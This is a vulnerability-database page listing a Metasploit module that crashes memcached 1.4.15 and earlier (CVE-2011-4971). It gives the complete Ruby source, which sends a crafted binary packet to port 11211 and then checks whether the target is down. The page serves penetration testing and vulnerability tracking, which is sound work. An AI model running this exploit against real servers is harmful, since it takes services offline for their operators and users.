Lucene search
+L

Memcached Remote Denial of Service

🗓️ 30 Apr 2013 14:45:09Reported by Gregory Man <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 48 Views

Memcached Remote Denial of Service module causing segmentation fault in v1.4.15 or earlier version

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
solutions
23 Aug 202617:04
–githubexploit
bdu_fstec
BDU FSTEC
Gentoo Linux Remote Compromise
28 Apr 201500:00
–bdu_fstec
circl
Circl
CVE-2011-4971
29 May 201815:50
–circl
cve
CVE
CVE-2011-4971
12 Dec 201318:00
–cve
cvelist
Cvelist
CVE-2011-4971
12 Dec 201318:00
–cvelist
debian
Debian
[SECURITY] [DSA 2832-1] memcached security update
1 Jan 201411:17
–debian
debian
Debian
[SECURITY] [DSA 2832-1] memcached security update
1 Jan 201411:17
–debian
debiancve
Debian CVE
CVE-2011-4971
12 Dec 201318:00
–debiancve
nessus
Tenable Nessus
Debian DSA-2832-1 : memcached - several vulnerabilities
2 Jan 201400:00
–nessus
nessus
Tenable Nessus
Fedora 20 : memcached-1.4.17-1.fc20 (2014-0926)
3 Feb 201400:00
–nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Memcached Remote Denial of Service',
      'Description'   => %q{
        This module sends a specially-crafted packet to cause a
        segmentation fault in memcached v1.4.15 or earlier versions.
      },
      'References' =>
        [
          [ 'URL', 'https://code.google.com/archive/p/memcached/issues/192' ],
          [ 'CVE', '2011-4971' ],
          [ 'OSVDB', '92867' ]
        ],
      'Author'       => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
      'License'      => MSF_LICENSE
    ))

    register_options([Opt::RPORT(11211),])
  end

  def is_alive?
    begin
      connect
      disconnect
    rescue Rex::ConnectionRefused
      return false
    end

    return true
  end

  def run
    connect
    pkt =  "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    print_status("#{rhost}:#{rport} - Sending dos packet...")
    sock.put(pkt)
    disconnect

    print_status("#{rhost}:#{rport} - Checking host status...")
    select(nil, nil, nil, 1)

    if is_alive?
      print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
    else
      print_good("#{rhost}:#{rport} - Tango down")  # WWJS - What would th3j35t3r say?
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
7.7High risk
Vulners AI Score7.7
CVSS 25
EPSS0.22317
48